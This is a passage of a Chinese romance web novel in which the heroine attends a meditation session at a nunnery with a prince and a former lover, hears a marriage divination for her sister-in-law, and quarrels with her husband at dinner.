时姝心里咯噔了一下,犹犹豫豫间还是说出了冬至日一行人在章化寺遇到为惠王做事的方怀简,但摔打砚台细节她为哥哥时彦的形象隐去不提。 林蓁听明白了,方怀简和时彦水火不容,这下是要真枪实弹对着干。以前她就有这样的隐忧,没想到这么快两人就图穷匕见,可这并不是她想看到的结果,她只想从两个男人的生活里抽离,他们都曾经是她最亲密之人,林蓁并不想看到其中任何一具冷硬尸身。 事情似乎朝着不可预知的方向狂奔,林蓁胸口莫名憋闷,室内空气似乎都被炭火消耗殆尽,她走到窗前,打开一扇窗棂。 室外冷风倏地吹割到她的面庞,林蓁脑子顿时清醒了些,可胸口浊气仍然排解不出。窗外绿植萧瑟,冷风凄凄,虎头缸里的睡莲冻在薄冰之中,实在没什么景致可看。 如何化解两人的你死我活?时姝按照剧本嫁给萧忱,一切回归正轨,有萧忱居于两人之间,再大的矛盾都可以化解或者搁置? 林蓁想起前几日在御史台遇见萧忱时的情形,他突兀问自己是否有兴趣冥想,他知道一位庵堂比丘尼住持很擅长此术。 林蓁徐徐转过身,靠着窗棂看向时姝:“惠王邀我去一处庵堂见识一番冥想,你可有兴趣陪我同往?” 第83章 第 83 章 I wish you…… 在家休养大半个月, 一直到十一月底林蓁才再去御史台,梅棠和她商议好,过了新年她专心备考没什么特别的不用再去御史台,是以林蓁格外珍惜剩下一个月时间。 那日她本在御史台厢房看文档, 一个小吏专门来请, 说是惠王召见。林蓁猜测, 大概萧忱知晓建安帝专门派传旨公公到毅勇侯府传诏之事, 想向她本人亲口证实?这样也好,萧忱曾打主意让她将毅勇侯府动向禀告于他, 现在她和毅勇侯府闹掰,搬离了毅勇侯府,他知道这些应该不会让她勉为其难再做此事罢。 出乎意料,萧忱并未多问一句建安帝宣旨之事,反而问她, 是否听说过佛教中的冥想, 萧忱解释说,冥想是对自己每一刻意识和潜意识的觉察, 帮助直视自己内心世界,消除执着于身心的痛苦和无常。 萧忱向她推荐皇城中一处庵堂, 说可以带她去体验和感受。 林蓁受宠若惊,并未当场答复, 萧忱表情既没有失望失落也没有恼怒不虞, 和过去一样冷肃神情, 淡声道:“若想好愿意去,可传话于我。” “权当你送我礼物的回馈。” 比起追问自己家中私事,林蓁感恩萧忱这种方式的帮助。当一个人急切希望获得自由,却被迫与自己不虞之人日日相处, 其间煎熬不言而喻,萧忱似乎洞穿林蓁内心,给她送来心灵最需要的慰藉。 只是她孤身一人,不想单独与萧忱长时间相处,毕竟萧忱不知道彼此血缘关系,与他过多沾染,于他于自己都没什么好处。 可如果为了时姝萧忱,林蓁觉得,任何困难都可以克服。时姝是一位难得心性淳朴好姑娘,林蓁始终认为,萧忱若有时姝陪伴,他的人生一定比现在开心。而且他俩走到一起,时彦和方怀简矛盾迎刃而解,何况他们的故事本就是剧本核心。 不知方怀简故意或者无心,不管谁想戳散时姝和萧忱,在林蓁这里,她都想给他俩黏合起来。 林蓁站在窗棂前,身上感受着冬日寒风,心里却火炭一般,热烈期盼时姝给自己肯定答复。 时姝看着林蓁,她没明白林蓁脑回路,怎么莫名其妙突然问起这个。从小到大,时姝要风得风要雨得雨,她没有什么实现不了的心愿,因此对于求神拜佛并无多大兴趣。冥想,听起来似乎需要安静坐着一动不动,完全不适合自己坐不住个性,时姝下意识想回绝。 可想到林蓁要去见惠王,一个曾经差点伤害林蓁的男性,还是哥哥们口中极可能是未来天子的男性,时姝的保护欲和好奇心被激了起来,她点点头:“冥想?我有兴趣。” * 十二月上旬休沐日,林蓁时姝约好的去冥想的日子,昨夜下了一整夜大雪,在林蓁担忧出行困难早早起床准备时,大雪渐渐停住,到早上出门之时,太阳跃出,天空碧蓝,晴空万里,白雪皑皑,银装素裹,到处都闪耀着亮晶晶的白。 林蓁心情极佳,出门时时彦担心雪大路滑想陪同,林蓁和颜悦色拒绝了,时姝来接她一起出游,时彦不需要担心什么。时彦跟在林蓁身后送她出门时,时姝亦在马车上对哥哥笑:“必然完璧归赵。” 玉泉庵虽紧邻着未央湖,但在皇城西南角位置有点儿偏僻,这日又是大雪过后,庵堂门口空无一人,只有深深车辙印记。马车缓缓驶进庵堂轿厅,碧竹先下了马车。 “方公子。” 听见碧竹的问候,林蓁猛地掀开马车窗帘,方怀简身形落入眼中。 一身蜜合色银丝祥云纹锦绸长袍,外罩一件宝蓝色竹纹大氅,整个人似冬日松竹高大挺拔,风姿如玉。他就站在马车近处,似正等着她们的到来。 目光与方怀简交接,林蓁有些错愕:“世之,你怎么在这儿?” 自御史台与方怀简见过两次后,林蓁不想与方怀简再见,被人看见惹人争议,他们已经很长时间没见过面。 方怀简淡淡点头:“我陪同惠王殿下同来,殿下正在寮房里。” 林蓁心中顿时涌出说不上来奇异感受,萧忱为她专门来庵堂,寻找擅长冥想的大师帮助她排解不虞,又特意叫上方怀简,让她直面心结? 林蓁下了马车站定,时姝随后蹦了出来。 “方二哥。”时姝大方地与方怀简打招呼,心中直叹幸亏自己跟林蓁来了此处。 轮到方怀简错愕,不过他瞬间掩去了情绪,深深看了一眼林蓁后和声细语与时姝招呼:“没想到时姝你对冥想也有兴趣。” 时姝视线环顾庵堂一圈,小巧精致的庵堂收拾得干净利落,院内积雪已清扫堆积到墙角,空气干冷清新,时姝收回目光,对方怀简浅浅一笑,道:“方二哥,我们在哪里冥想?这里冷死了,我们快进屋罢。” 方怀简引领两人来到萧忱所在的寮房。 两个烧得旺旺的大炭盆让室内温暖如春,房内宽敞亮堂,布置简洁朴素,一张矮几和矮几前几个蒲团而已。 矮几前盘坐着一位比丘尼,年纪约莫四十来岁,面容和蔼可亲,她面前矮几上摆放着一把硕大古琴,木色柔和,雕刻有莲花祥云纹,比丘尼见三人进来,拨动琴弦的手指停了下来,目光柔和望向众人。 林蓁只觉余音缭绕,繁杂心绪似乎瞬间宁静。 萧忱盘坐在比丘尼面前的蒲团上,见三人进来,给做了介绍:“这位是玉泉庵主持静慈大师,今日就由静慈大师为我们教习冥想。” 林蓁介绍了身后的时姝,时姝曾在红枫寺见过萧忱,从容自若向他行了福礼,又向静慈大师行礼。 萧忱面色淡然,目光平静地在三人面上一一扫过,微微颔首,示意众人坐下听大师讲授。 待众人坐定,静慈大师讲起了冥想,冥想可以在生活的每个瞬间,可以坐车时,可以行路时,可以吃饭时,可以抚琴时,它可以与人周围每一物相联,可以是眼前的人,可以是手中的茶盏,可以是自己的身体。 静慈大师又讲起了方法,专注自己呼吸稳定注意力,放松身体感受周围,感受整个房屋,感受整个庵堂…… 在温暖炭火边打坐,时姝听着听着有些犯困,幸好在她快要撑不住时,静慈大师以身前古琴示范,弹奏了一首清心曲,总算将时姝瞌睡虫赶走。 她坐在林蓁身后,是整个屋子里最靠后的蒲团,虽然看不到萧忱和方怀简面容,但他们有什么小动作,那是一个也逃不掉时姝目光。 两个大男人端坐于前一动不动,自然没什么看头,时姝眼皮泛起了困,可静慈大师琴音响起后,两人都有了微不可察的变化,时姝瞌睡虫刚刚被琴声赶走,这会儿更是来了精神。 按静慈大师说法,琴音传递着自己内心,会引起心灵共鸣,时姝观察到,萧忱也好方怀简也好,会微微偏头看向林蓁方向。 这种微小转变角度是琴音下当事人冥想中下意识行为,或许本人都未留心到,大概只有时姝才能发现,因为她根本没怎么听大师讲解,目光和心思只聚焦于眼前几个人,为她哥哥时彦操碎了心。 她不知道两个男人到底有没有看林蓁,他们只是微微转动一点儿角度,更不知林蓁是否察觉这些动作,她埋着头似乎沉浸在静慈大师的讲授中,按照静慈大师的要求进入冥想。 琴音起伏跌宕,方怀简动作幅度随之更大,他似乎直直看向林蓁,可林蓁坐在他的侧首,并未察觉,时姝很想找根棍儿把方怀简戳醒,可这屋子里什么都没有,她无奈地揪住蒲团里的稻草,一根根往外拔,突然间时姝发现拔出的稻草数量太多,极为明显,她四下看看,赶紧掀开身边蒲团,把稻草压在其下。 静慈大师古琴弹奏结束,给众人讲授以琴为媒冥想时所传递的情绪,邀请众人主动上前也弹奏一曲心中所想。 萧忱肯定不会做这种事,剩下仨人面面相觑,见方怀简和时姝均不动弹,林蓁感觉除了自己,似乎谁去弹奏都不太合适,她主动站起身,对静慈大师道:“我来试试。” 静慈大师让开位置,林蓁盘坐在古琴前。 目光掠过眼前众人,近处静慈大师眉目祥和,远处时姝似有期待,正对自己的萧忱微微垂首饶有趣味。林蓁目光留驻在方怀简脸上,她已许久未曾认真看过这张脸,面容沉静似古井无波,可眼神里静水流深又有万般情绪,他再没有青涩闪躲,内敛沉肃直直看向她,她曾经多么喜欢这张脸啊,一切的一切都缘于这张脸,可时光白驹过隙,心境沧海桑田再也回不去从前。 林蓁以方怀简的脸为冥想起点,陷入沉思。 不论方怀简做过什么,他永远是自己曾经的挚爱,在他忆起前世之事后,他那么疯狂飞蛾扑火般奔向自己,只是造化弄人,两人不断错过。 忽忽间,林蓁脑海里浮现《i wish you love》(我愿你得到爱)1的乐曲,她缓缓垂下头,不再与方怀简对视,心中情感通过手指间琴弦流淌在屋内。 我希望在春天里,有青鸟能伴随你左右为你歌吟。 我祝你健康,愿你富裕,但是我更希望你能得到爱。 我和我受伤的心都知道,我们无法厮守在一起。 所以,带着我最诚心的祝福,我让你自由。 我希望你能在暴风中有栖身之所,惬意的炉火能保持你的温暖。 而最重要的是,当雪花飘落时,我愿你能得到爱。 …… 时姝只觉得林蓁琴音中,优美却带着丝丝悲伤,欢快却有着哀怨的底色,她看向前方两个男人,萧忱坐姿端正看不出什么,方怀简深埋着头,一点儿也没有往林蓁方向看。 一曲终了,满室寂静,萧忱和方怀简默不作声,仿佛他们不存在一般,时姝眼睛滴溜溜转,连她这个不懂音律之人都明白这首曲子欢乐中夹杂着哀婉,她知道他们肯定听出了什么。 静慈大师打破沉寂,微笑问道:“可有听出了什么?” 方怀简徐徐抬首看向林蓁,耳边萧忱淡声道:“像重逢又像是离别,与过去告别?”萧忱目光幽沉,注视着林蓁似乎寻求她肯定的答复。 林蓁抚着琴弦淡淡一笑:“殿下好耳力,确实是这个意思。” 她目光似不经意看向方怀简,他神色端肃,眼角泛红,灼烫目光正等着她垂怜,可林蓁视线只停顿了一秒便移开,落在了萧忱目光里。 “燃烧的炭火边,弹奏这样一支曲子,让我想起遥远的过去。过去那么美好,美好到想起便会流泪,只是那些也的的确确都是过往,随风而逝。” “重逢很完满,只要这样想便很好了,重逢后一切有了交代,可以与过去告别。” “离别似乎很悲伤,但它从来是新的起点,前路也会很美好。” 林蓁淡淡述说,解释着自己琴音,又似倾诉内心 。 每一个人都认为读懂了林蓁的心思。 方怀简黯然神伤,他自然不甘心与林蓁的这一世只是匆匆别过,再也无法厮守,琴音初始他就知晓了曲目,心中哀伤随着琴声变化奔涌而出,他极力压制汹涌情绪,泛红的眼睛却暴露了本心。 他听懂了却希望从未听过这首乐曲,从来听不懂这首乐曲。 萧忱抿着唇暗暗观察林蓁和方怀简神色。 林蓁闹和离被天子知晓,以至于要传口谕来维持夫妻关系,想来她和盐铁使之间早就千疮百孔。 可她为何突生变故?为方怀简?萧忱眼中,林蓁淡然已然放下,方怀简似乎有些不舍,可他有妻室之人,不舍有什么用,纠缠林蓁只会给她带来无尽烦恼。不过他有这样执念也有好处,做事更决绝更果敢。 时姝不动声色,心内却有点儿欢喜,两个男人都让她讨厌,但林蓁对他们没什么特殊情感,哥哥努力些挽回林蓁还是极有希望。 第84章 第 84 章 我们是朋友 静慈大师的讲授对林蓁颇有裨益, 她沉浸在冥想之中,暂时脱离几个月来挥之不去的与时彦与方怀简的牵缠不清,不知不觉上午时间过去大半,等林蓁回过神, 似乎满屋的人都在等着她。 静慈大师慈爱看着她:“冥想在施主身上效果甚佳, 施主若还有兴趣, 我们可以再约时间。” 林蓁忙作揖感谢, 却没有直接答复。 这是萧忱的人情,她和静慈大师无亲无故, 常来叨扰不太合适。 讲授结束,见萧忱和静慈大师说话,林蓁和时姝先离了房间。室外阳光明媚空气清冷,地上积雪堆积在院落四角,屋檐上厚厚白雪晶莹闪烁。林蓁和时姝站在院子里一株盛开的红梅前赏花, 等着萧忱和方怀简出来打个招呼便回府。 做完一番冥想, 心中各种杂质似乎都清除干净,林蓁浑身澄澈, 眼前一切都分外美好,白皑皑的冰雪格外纯洁, 红梅炽热娇嫩,冰雪中如火似锦, 林蓁忍不住压低一簇红梅, 凑上前去嗅一嗅。 “好香”, 深深吸了一口气,林蓁将手中红梅长枝推向时姝,笑着示意她也来感受一番。 时姝刚要低头嗅,见寮房门帘掀动, 萧忱走了出来,时姝站直身子对林蓁道:“惠王出来了。” 林蓁闻言,微微侧身转向寮房方向,萧忱站在寮房前的廊檐下,目光淡淡地往这边望来。林蓁下意识看向时姝,她今日装扮得朱脣粉面,飞天双髻上花头红簪剔透,胭脂红底金莲花刺绣交领长袄大气艳丽,雪地里站着比身旁红梅还娇艳,时姝闪亮着大眼睛,正看向萧忱方向。 林蓁莞尔,看向萧忱轻声问候:“惠王殿下。” 冬日午间阳光下无风无波,林蓁穿着一改过去女官装束,是萧忱眼里极少见的女装大袖粉袄,她笑唤着“殿下”,眉眼温柔,声音如她的琴音,温婉欢快。 萧忱走下廊檐,缓步向红梅走来。 林蓁微微推动时姝,再次向萧忱介绍:“这是毅勇侯唯一女儿,我的姑妹,时姝。”时姝勉为其难再次行礼。 萧忱仍是淡淡面色,微微颔首。 林蓁感激道:“今日收获颇多,有劳殿下操持,时候不早,我们这就回去了。” 萧忱道:“回去有事?已近午时,这里斋菜很有特点,是潭州口味。静慈大师还有个徒弟,擅长算梅花卦,很多人重金求她一卦,有兴趣见她么。” “这”,林蓁犹豫。 回去确实没什么事,但在这儿已然打扰太久了。 她看了一眼时姝。 听到梅花卦,时姝来了兴致,她扑闪着眼睛:“惠王殿下,这里的梅花卦真的很灵?” “灵不灵不知道,许多人求她一卦,价金都到了百俩,她不是给钱就算,也看机缘。” 时姝脸上现起讨好的笑,恭恭敬敬地问萧忱:“殿下,可否求殿下颜面,让这位大师为我们算算?” 方怀简遵萧忱吩咐,和静慈大师做完一番交接安排后,走出寮房时,看到的正好是时姝对着萧忱眼开眉展,笑着说些什么。 方怀简心下一沉,不理解林蓁为何带时姝来此,时彦算盘林蓁已然知晓,她还要继续主动去成全他的国舅梦? 心中气愤又郁闷林蓁举止,方怀简尽力克制情绪保持面色平和,走到萧忱身边道:“殿下,都已安排妥当。” 萧忱:“时姑娘想找慧真师傅算梅花,世之,你带她去药师殿找慧真师傅,就说我的朋友。” 方怀简看了一眼满脸希冀的时姝,问萧忱:“就我们俩?” “我和林蓁稍后过来。” 时姝本以为和林蓁同往,见此坚持道:“我和我嫂子一起去。” 萧忱面色现出肃然:“我们随后来。” 林蓁连忙打圆场:“时姝你先过去,正好我有些冥想事情要问问殿下。” 时姝一步三回头跟着方怀简走了,见距离远了,时姝毫不犹豫问方怀简:“方二哥,这个惠王殿下是否心怀不轨?” 方怀简笑了:“时姝,你就这么看我?我与毅勇侯府认识这么久,虽与你哥哥天大罅隙,但若知道有人害你害林蓁,我怎可能袖手旁观。” 时姝想想,相信了方怀简,他爱慕林蓁,应该不容许惠王伤害林蓁。 这边林蓁见方怀简时姝走远,转头对萧忱再次感谢:“冥想对我确实有益,许多纷繁闹心之事似乎都离得远了,多谢殿下挂怀,为臣女找到这个排解方法。” 萧忱道:“我也是机缘巧合认识了静慈大师。” “我记得你母亲是潭州人士,我母亲亦是,但她在我幼时便失踪没了音讯,我去潭州寻找时最后的线索是那里的观云庵,我去时那里已经人去庵塌,几番寻找找到知情人静慈大师,正好玉泉庵住持仙逝,我便荐了静慈大师。” 云娘从未提过观云庵,林蓁心下震惊,亦想知道关于母亲更多信息,她掩下震惊和诧异,状若随意问道:“怪不得这里素斋是潭州口味,那殿下找到什么新线索了么。” “时间久远,只知我母亲带着妹妹在观云庵住了一段时间,后面跟随朋友离开后再无音讯。” “什么样的朋友,找不到了么。” “静慈大师未有见过,见过的人或死或杳无踪迹。” 林蓁黯然,想来林若柏便是这位朋友,带着母亲和自己离开了潭州,母亲改名换姓躲在英国公府内宅,即便活到现在,萧忱也永远不可能找到她。 “当我心中烦躁时,我会来玉泉庵冥想,静慈大师帮助我良多”,萧忱打破沉寂,继续道:“这里有一间寮房专为我冥想而保留,我刚刚和静慈大师交代过,你若愿意,随时可以来。” 林蓁推却道:“这,打扰了罢?” “我来的不多,那房间空着也是空着,你尽可用。” 或许这就是萧忱与自己之间血缘的感应?林蓁不禁抬眸看向萧忱。 他脸色淡然目光幽沉,看不出情绪,和以往的他没什么两样,但,还是有不一样的地方,林蓁感受不到那股阎王索命的煞气,不知什么时候,她面对他时仍然犯怵胆怯,但内心不再排斥害怕,如同此刻,林蓁心里竟然盈满了怜惜心疼,他有着怎样的痛楚才会在这里有个专门寮房冥想呢。 “恭敬不如从命,那多谢殿下。” “日后若考上女官,臣女定不辱使命,为大周鞠躬尽瘁——” 萧忱打断了林蓁:“我并无此意,勿需回报,你就当朋友间照拂,不需要做什么。” “你帮了我几次,我们”,萧忱目光在林蓁脸上逡巡,想得到她肯定答复,“算是朋友?” 林蓁笑了,如春日桃花艳丽烂漫,他们是兄妹,远远胜于朋友之情。 “当然,殿下,我们是朋友。” “殿下,您笑起来很好看呢。” 萧忱不可思议摸了摸脸,眉头微蹙:“我笑了么。” 只是嘴角微微翘起,并且一闪而过,但林蓁盯着萧忱眉眼,没有错过 他任何微表情,林蓁淡淡一笑,心下为哥哥欢喜:“是我看花了眼,殿下没有。” 第85章 第 85 章 哥哥会助你 萧忱唇瓣微微噘了噘, 落在林蓁眼里,他仿佛要确认自己并没有笑,林蓁心下好笑,她从未见过萧忱还有如此生动一面。 他目不转睛看着自己, 眼中光亮比周遭白雪还要闪亮, 想到他给自己引荐静慈大师, 主动提起失踪的母亲, 还要与自己做朋友……林蓁感到,即便萧忱什么都不知晓, 冥冥中,他与自己是割舍不断的关系,林蓁情不自禁起了安慰之心。 “纵然这么多年,殿下母亲毫无音讯,但无论她在何地, 人间或者天堂, 她一定默默为殿下祈祷祝福。或许有各种不得已,没有哪个母亲能够舍弃自己孩子。” 萧忱微微抿唇。 找了这么多年, 掘地三尺,蛛丝马迹从未放过, 他内心已不报什么希望,唯一掀起心中微澜的便是明晖手中那块玉, 不知什么原因流落在她的手中, 想来母亲和妹妹凶多吉少, 这块玉才会流落世间。 又听林蓁讲起她的母亲。 “我虽有母亲,但我几乎没有什么印象,关于她都是我母亲贴身丫鬟讲述得知,她温柔可亲, 极爱我和弟弟们,为了我和弟弟们有一个好的未来,忍受许多苦楚,郁结于心早早离开人世……” 萧忱知晓林蓁庶出,日子自然比不上嫡出,见她扯着话题竭力开解自己,小脸努力仰着,目光锁着自己,被寒气冻得微微发红的脸颊上,满是关心之情。 林蓁说些什么,萧忱并未入耳,他盯着林蓁面容,无比确信,她关心着自己,不是谄媚不是讨好并无利益,似乎只为他内心一瞬微笑。 刚刚,他笑了么。 她,不是自己仆从,不是自己下属,和自己毫无瓜葛,竟然为他而生关切。 是自己帮助过她?可最初让她进御史台刑狱的是自己,让她见明晖因而受伤的是自己,萧忱理不出林蓁关切自己的理由,此刻的她,比送自己礼物时的神情,似乎更亲近了些。 萧忱垂眸避开了林蓁目光,长长睫羽遮挡了眼前视线,似乎不希望任何人看透他的心。 他并不需要谁的关心怜惜,时至今日他已足够强大,强大到他可以去争那个最高的位置,并且胸有成足,势在必得,安插各处的棋子经营的罗网渐渐收拢,他已然可以暗中保护任何人,就像现在,他可以轻易为林蓁提供各种便利。 不久将来,他可以随心所欲,堂皇正大做更多想做之事。 但,萧忱清晰意识到,虽然他不需要,林蓁作为第一个和自己毫无利益牵扯却关心自己的人,带给他难以言述的轻松和愉悦。 就像他第一眼看到那管玳瑁紫毫白玉砚台,心底突然现出一片自己都不曾知晓的柔软,被这管紫毫和砚台轻轻触碰和压制,又酸胀又刺激,是从未体验过不可名状的快感。 所以自己亦会莫名其妙为她安排此处冥想,换来意想不到却是潜意识中期盼的,此刻她眼中令他愉悦的关切? 只要她想,自己也能助她和离恢复自由身…… “殿下,殿下”,林蓁连唤了几声,沉思中的萧忱倏然回神。 “殿下让时姝先走,可是有什么话于我说?” 萧忱抬眸,语速一如过去缓慢:“时间缓一缓,或许我可以助你和离。” 林蓁眼中闪出光亮,萧忱清楚自己洞察到她的心意,他下意识抿了抿唇角,在林蓁眼里,他似乎又翘起了嘴角。 “稍安勿躁,不用两年,很快,我保证。” 似心中涌过一阵暖流,温暖又润泽,林蓁想起,她曾经威胁时彦,要向萧忱吐露一切,到时萧忱作为自己唯一亲哥哥一定会手撕时彦。可此刻并不需要说什么,萧忱主动透露善意,愿意帮助她离开毅勇侯府,温暖润泽似温泉汩汩不断从心底直往上涌,从眼眶和鼻翼漫溢出来,林蓁只觉眼前起了氤氲,鼻尖发酸,泪珠随时会滚落。 萧忱有些呆滞,他见过林蓁哭泣模样,像小白兔粉嫩嫩软糯糯,为方怀简委屈落泪,可刚刚寮房里弹琴,方怀简都红了眼眶,林蓁作为弹奏者却没什么大的情绪,至少萧忱并未看出,他不认为林蓁是个情绪内敛之人,林蓁已然放下,可现在她因为自己一句话轻易眼红,泪盈于睫,闪亮泪珠在长长睫毛上摇摇欲坠。 为自己而哭?萧忱担心,下一刻林蓁泪珠滚落时,自己会不会又莫名其妙做出些什么,他背起双手,目光看向廊檐往药师殿方向。 “我们去药师殿,他们应该快好了。” 林蓁跟在萧忱身后往药师殿走,没人注意的时候,拽出袖中巾帕快速擦了擦眼泪,刚把巾帕收好,眼前人似乎长了后眼睛,萧忱道:“像你琴音所说,与过去告别,会是新的起点,前路也会很美好。” “你我朋友,我会助你。” 药师殿偏殿里,方怀简和时姝坐在太师椅上,等着慧真大师卜算的结果。 在两位哥哥对皇城皇子们夺嫡的一番预测后,时姝不时担心诸位皇子们的命运,她对慧真大师梅花卦半信半疑,毕竟在皇城长这么大,她以前从未听说过慧真大师大名。但心有忧虑时,总会各种求神拜佛许愿求助,希望内心愿望得偿所愿,时姝不好让慧真大师占卜他人,扭捏之下问自己姻缘。 方怀简也极其好奇卜算的结果,时姝小说女主角,到现在才正式和萧忱见面认识,后面走向仍然如小说轨迹么。这不是他想看到的方向。 慧真大师拿着笔在纸上画一些奇形怪状符号,一会儿拿出罗盘摆弄一番,一会儿算盘上记载一些数字,时姝等得有些不耐烦,四处张望时,看到窗棂外萧忱和林蓁远远地走了过来。 时姝倏地站起身,对方怀简道:“我去迎迎他们。”不等方怀简应声,身形已蹿出了门帘。 脑海里尽是时姝和萧忱柔情蜜意故事,方怀简也赶紧跟了出去。 “大嫂!”时姝站在廊檐下挥动着手臂,向林蓁甜甜唤着。 林蓁走上廊檐,牵起时姝的手问:“你请大师算了么,算好了么。” 想起自己问的姻缘,时姝有点儿脸红:“还没有,我们进去等罢。” 四人进了药师殿,慧真大师已收好了工具,慈祥而饶有趣味看着时姝。 看慧真大师表情,时姝心里石头落了地,羞赧问:“慧真师傅,我求的怎么样啊?” “施主姻缘,贵不可言。” 林蓁和方怀简微不可察对视了一瞬又各自收回了目光,时姝面上喜色藏不住,追问道:“我要如何做?” “至尊至贵,不可求只可候。” 时姝开心得向慧真大师连连道谢,又要向药师殿捐香火钱,又拉着林蓁想慧真大师给她也算一算。 林蓁不想算这些,她倒不是不相信,恰恰相反她有些信,更害怕算出不尽人意结果,成为心里疙瘩,她笑挽着时姝的手,看了一眼萧忱,对时姝道:“等你觅得好夫郎得福熙致境,我也跟着沾沾光。” “你是我至亲大嫂,当然会啦。” “大嫂”二字落入耳中,林蓁不自禁眨了眨眼,她抿了抿唇没再接时姝的话,就见萧忱目光沉沉望了过来,面上素来冷淡并未有什么表情,可目光像知了她的心思会说话,林蓁仿佛听到他的心声他的允诺,哥哥会助你。 第86章 第 86 章 他怎能和我比? 用完斋饭林蓁准备离开, 她走到萧忱桌前向他辞行。 “听说年后你不再去御史台?”萧忱抬眸看了林蓁一眼,垂首拿起茶盖拂去茶盏中浮沫,“有事可以找世之,他能联系上我。” “这里也可以随时来。” 林蓁深深福礼道了谢, 和时姝掀帘出了门, 方怀简紧跟二人送了出去。 门帘放下, 三人身影在窗棂上晃荡片刻再无痕迹, 萧忱看向窗棂的目光仍未收回。 方怀简看似心如止水,可当初投奔自己时, 他的心思直白坦荡,今日寮房冥想时,他的情绪欲盖弥彰,对林蓁始终念念不舍。 对林蓁的事方怀简定然上心,自己不需操心太多, 风吹草动方怀简必会向自己禀告。 萧忱亦有几分好奇, 为方怀简冲喜的发妻,他打算如此处置呢。 庵堂轿厅, 方怀简送林蓁时姝上马车。 两个丫鬟最先上车,碧竹打起车帘, 时姝紧跟而上,趁着这须臾空当, 方怀简向林蓁跨近一步, 站在她身边压低声线气音说话:“安安, 我们会有新的起点,我们前路会很好。” 林蓁讶异转头,方怀简与自己的距离呼吸 可闻,他面色如常, 眉目间却蕴着情意,眼底更是泛着水光,让人无端生出怜惜。 与方怀简视线碰撞瞬间,林蓁慌乱转回头,目光看向马车,时姝刚钻进了车厢,没有任何人看见听见。 方怀简还没有停歇,低沉声音响在林蓁耳畔:“会很快,我每天都盼。” 林蓁下意识咬紧牙关视线端视前方,不知怎的,她想起萧忱的话,“稍安勿躁,不用两年,很快,我保证。” 有这样两位的通力帮助,自己很快可以离开毅勇侯府,可林蓁突然没来由担心,离开毅勇侯府后呢。 方怀简对他的表妹没有男女感情,可林蓁仍然不想看到他抛弃发妻的结局,他会因此背上德行不仁骂名,而那个无辜女子在这样的社会不知后半生如何度过。 林蓁心境再回不到从前,即便两人恢复自由身,她亦无法像从前一样,心无旁骛抛却一切无视旁人奔向他。 不知何时,感情已不再是生活全部,不像过去那些日子,充斥着满脑满心,自己会为方怀简或者时彦一言一行高兴或伤怀整日,纵然有甜蜜非常时刻,亦有刻骨锥心之时,情绪大开大合大起大落,难忘亦难受。 见林蓁没动静,上了马车的时姝撩开马车窗帘探出半个头:“嫂子,快上车呀。” 林蓁匆匆丢给方怀简一句话:“跟随萧忱,前途无忧。” 马车回了静苑,时彦已等待多时,以为去庵堂拜一拜午时两人会回来用饭,结果却是近下午。林蓁先下了车,想等着时姝一起回房,时彦却拦着时姝劝她早些回毅勇侯府。 今日皇城里冰天雪地,早上尚算蓬松的雪这会儿都冻住了,路很不好走,冬日里天黑得也快,林蓁本还想和时姝提提萧忱的事儿,见此也没再挽留,让时姝改日再来。 时姝无奈,把时彦拉上马车说话。 时姝表情有些像献宝,她先撩开窗帘现出一条缝隙,透过窗缝见林蓁上了回廊往内院走,才舒心地向哥哥道:“我今日可为你立了大功。” 她兴致勃勃事无巨细向时彦汇报了今日之事,顺带给出了自己的结论:“相比起来,嫂子虽然冷你,但比对他们还是好上许多。哥哥,你努努力没问题的,也不旺咱爹在天子前苦心求旨。” 时彦知晓林蓁时姝去庵堂冥想,可此时才知竟是萧忱安排,心中意外同时,涌上心头更多的是对林蓁歉疚。 她恼恨自己的欺骗,不愿意成为自己攀附上萧忱的登云梯,她随时可以向萧忱表明身份让他把自己一脚蹬开,可她非但没有如此做,还为萧忱时姝牵线,自己会是他俩姻缘得成的直接受益者,时彦惭愧。 得知方怀简亦在场,还有各种小动作,时彦虽知林蓁未必对自己有多于旁人的几分情意,但时姝这些话语,还是给了他许多安慰。 时彦夸赞时姝:“哪里都少不了你这个机灵鬼。” 想到萧忱,时彦亦问时姝:“你觉得惠王殿下如何?” “不如何”,时姝挑眉,话语狠狠噎了时彦一瞬,“无事献殷勤,非奸即盗,不过方二哥说他不是这样的人,姑且相信他。” 方怀简对林蓁亦是贼心不死模样,想来不至于再给林蓁多找麻烦,时姝因此相信了他的话。 时彦凝视着近在咫尺的时姝,她眉眼松弛,神情自在,显然萧忱未在她心里激起一丝波澜,她和萧忱,到底会如何走向?按小说中剧情,时姝和萧忱种种早就错过,其实时彦对他俩还能走在一起已没抱有期待,可今日之事,林蓁特地带上时姝引见,时彦这颗期待的心死灰复燃,又隐隐有了些许切望。 晚饭桌上林蓁通常不搭理时彦,他常常自说自话,今晚他讲起时姝,特意为白日之事感谢:“不知时姝和萧忱是否有缘,她有你这样的嫂子是她三世修来福气。” 林蓁难得搭话:“我并非为你,我为我哥哥和时姝。今日时姝还算了一个梅花卦,说是姻缘贵不可言,不过不可求只可候。她极好,值得最好的。” “不管如何,都谢谢你。” 林蓁埋头吃饭没看时彦一眼,此刻闻听此言,抬眸看向他:“若他俩有意,你迟早为国舅,总算心愿得偿,你若有心答谢,可以放我走?” 时彦抿紧唇,垂首舀了汤碗中一勺汤,回避了林蓁目光。 林蓁瞥了一眼,低首继续吃饭,她本没指望时彦饭桌上应允,只是随口一提,内心想不明白时彦如此粘着不放所求为何,纵过去情意缠绵悱恻,却毫无地基建在沙砾之地,顷刻间坍塌得彻底,她不想再回头。 时彦呷了两口汤,想起时姝描绘的方怀简心有不甘的姿态,继续未完的话语:“时至今日,方怀简跟着萧忱为至尊之位帷幄运筹,你别当他什么不懂,和以前一样淳朴至善。” 他脑海里浮现方怀简在章化寺狠戾冷肃眼神,“一切才开始!”他的眼中显然不止斗倒自己而已。 时彦提醒道:“他不过开窍得晚,论心机腹黑,他和我不遑多让。你不要事事都和他说,也得为自己留一手。” “啪!”饭碗猛掷在桌上,碗中饭粒溅得满桌。时彦没想到不过随口提醒,林蓁反应剧烈,他即刻闭嘴,视线下垂手指拢了拢桌上饭粒。 林蓁恨声:“相由心生,一所见相皆心中所思,你总算计筹谋提防他人,便觉得其他人也和你一样?方怀简就算以后成为权臣,他的内心也不会像你,从一开始就计算利益,谋算人心!” “别在我面前诋毁他,不然我们不要在一张桌上吃饭。” “你还留了什么后手对付我,对付他?继续在建安帝那儿求圣旨?!” “我不是这个意思,我对你没有任何后手”,时彦也知道自己辩白极其苍白无力,但事到如今不论林蓁相信与否,他只能硬着头皮解释,“我们是亲密无间夫妻,方怀简怎能和我比?” 